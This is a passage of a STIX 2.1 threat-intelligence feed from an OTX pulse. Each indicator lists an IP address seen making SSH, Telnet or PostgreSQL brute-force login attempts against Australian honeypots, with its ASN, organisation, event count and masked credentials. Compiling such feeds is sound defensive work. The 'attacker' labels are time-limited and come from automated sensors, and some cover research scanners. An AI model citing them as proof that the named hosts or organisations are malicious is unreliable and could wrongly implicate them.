      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HU. ASN(s): 211619. Organisation(s): MAXKO d.o.o..",
      "id": "indicator--6cf27192-d3b0-45f7-ad2f-1675708b7fcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.9.168.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T10:15:04.000Z",
      "valid_until": "2026-05-11T10:15:02.000Z"
    },
    {
      "created": "2026-04-09T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--49ad4a66-c4e9-42a0-ad4a-b43fc2177d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T10:15:04.000Z",
      "valid_until": "2026-05-11T10:15:02.000Z"
    },
    {
      "created": "2026-04-09T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--34b540f7-6d71-425b-a94f-39bb58d822da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T11:15:04.000Z",
      "valid_until": "2026-05-11T11:15:02.000Z"
    },
    {
      "created": "2026-04-09T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--61942873-69b0-46d8-97a8-958593e6284a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.81.29.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T11:15:04.000Z",
      "valid_until": "2026-05-11T11:15:02.000Z"
    },
    {
      "created": "2026-04-09T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--b3d26cfe-847e-40f6-b2e0-03d6424b98c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.123.74.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T11:15:04.000Z",
      "valid_until": "2026-05-11T11:15:02.000Z"
    },
    {
      "created": "2026-04-09T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 394. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): r**t, 3**********4, t**t, f*****r, h******k. Passwords observed (masked): 3***********4, 3**********4, @*********9, A**********!, C*******7.",
      "id": "indicator--fcafcee8-bcc6-4b69-b045-2977f9827002",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.186.20.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T11:15:04.000Z",
      "valid_until": "2026-05-11T11:15:02.000Z"
    },
    {
      "created": "2026-04-09T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 336. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, t**t, u****u, f*****r. Passwords observed (masked): 3***********4, 3**********4, ***, @*********9, A**********!.",
      "id": "indicator--06291f8c-cb00-40e7-8fe9-e06cf6491bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.83.245.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T11:15:04.000Z",
      "valid_until": "2026-05-11T11:15:02.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CI. ASN(s): 29571. Organisation(s): ORANGE-COTE-IVOIRE. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--34f77268-b5b4-4629-80ce-aa2fb79f9983",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.210.82.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--83848aac-c5ff-4bf8-bb8f-55794d57ad36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.10.187.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 794. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o****e, t**t, u**r, f***k. Passwords observed (masked): 1****6, a****3, *, ***, 1******8.",
      "id": "indicator--ff6e21e1-1e7a-408e-9f64-4004eb8f8fc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.110.240.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135944. Organisation(s): VinhNam Commercial informatics service corporation. Usernames observed (masked): r**t, u**r, 3**********4, a**x, s****r. Passwords observed (masked): 1**4, 3***********4, 3**********4, A*****1, e******p.",
      "id": "indicator--1e39ab56-fd18-479d-9e1f-0ffea65ea393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.93.172.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136384. Organisation(s): Optix Pakistan Pvt. Limited.",
      "id": "indicator--8d2c0793-d540-4730-99bd-3c550f70d992",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.165.237.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--e06ceedf-30d2-489e-a76b-4d6807925e92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--d4ead220-ebe0-41e6-beee-26028030f8db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.104.198.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 59441. Organisation(s): NOAVARAN SHABAKEH SABZ MEHREGAN (Ltd.). Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--2aa509e6-35c0-41a2-8789-04306b02ebe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.144.129.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T12:15:10.000Z",
      "valid_until": "2026-05-11T12:15:09.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, f****a, t*******k, t***1, ***. Passwords observed (masked): *, 1*******9, H******2, V****!, f****a.",
      "id": "indicator--23c93e51-2525-40a7-8f10-87d07ca9c6e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.191.66.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, j**h, ***. Passwords observed (masked): 3***********4, 3**********4, *, 1*****7, 1*********V.",
      "id": "indicator--06e704cd-f6c6-4e0d-9109-dec84791e258",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.172.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 197984. Organisation(s): State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ. Usernames observed (masked): r**t, j**h, 3**********4, ***, ***. Passwords observed (masked): *, 1*****7, 1*********V, 3***********4, 3**********4.",
      "id": "indicator--bc3378ed-e5cb-4791-8601-85bec4888970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.107.115.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--058962c5-761c-42f6-a512-5b8b263e7a02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 42313. Organisation(s): One Albania Sh.a.. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--3c2a1753-6f05-4d6d-825b-c42a8340d202",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.106.123.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--89a0fbe0-efec-409f-b98b-efcd037b7c49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:15:03.000Z",
      "valid_until": "2026-05-11T14:15:02.000Z"
    },
    {
      "created": "2026-04-09T16:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--226c31a7-f7cb-49aa-9653-955cb6cc6d62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:15:02.000Z",
      "valid_until": "2026-05-11T16:15:01.000Z"
    },
    {
      "created": "2026-04-09T16:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation.",
      "id": "indicator--d6660e86-dd6d-46fd-b3f2-12dbad6a6ce6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.195.82.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:15:02.000Z",
      "valid_until": "2026-05-11T16:15:01.000Z"
    },
    {
      "created": "2026-04-09T16:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--925bddc6-cb86-47f1-ac8c-e8baf6ab8107",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.142.74.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:15:02.000Z",
      "valid_until": "2026-05-11T16:15:01.000Z"
    },
    {
      "created": "2026-04-09T16:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--21338d92-7cc6-4327-91ee-d0c3f1c5880c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:15:02.000Z",
      "valid_until": "2026-05-11T16:15:01.000Z"
    },
    {
      "created": "2026-04-09T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--841c0fcf-e7b7-4e12-8585-a3ad168ce54d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.153.33.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T17:15:04.000Z",
      "valid_until": "2026-05-11T17:15:01.000Z"
    },
    {
      "created": "2026-04-09T18:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T18:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T18:15:25.000Z",
      "valid_until": "2026-05-11T18:15:09.000Z"
    },
    {
      "created": "2026-04-09T18:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e3698796-0c26-4dc4-bed6-c7ec73e38aa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T18:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T18:15:25.000Z",
      "valid_until": "2026-05-11T18:15:09.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7e342198-3e3e-491f-9bcb-9c8dd462307b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 433. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, u****u, p*****k, s***y. Passwords observed (masked): 3***********4, 3**********4, 1****6, **, ***.",
      "id": "indicator--552dabdb-fdb1-42f5-bbed-6b81950a72d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.1.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4, a***n, ***, a*******r. Passwords observed (masked): 3***********4, 3**********4, !**********c, 1********a, 1******f.",
      "id": "indicator--4cba31f4-c297-47fa-bb77-609bd13caf86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.181.4.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 433. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4, u****u, p*****k, s***y. Passwords observed (masked): 3***********4, 3**********4, 1****6, **, ***.",
      "id": "indicator--6890a039-6b0c-4175-8055-39291fba6578",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.165.22.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 433. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, u****u, p*****k, s***y. Passwords observed (masked): 3***********4, 3**********4, 1****6, **, ***.",
      "id": "indicator--f409641d-e38f-4476-9dcf-3a1f1061fe70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.134.113.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
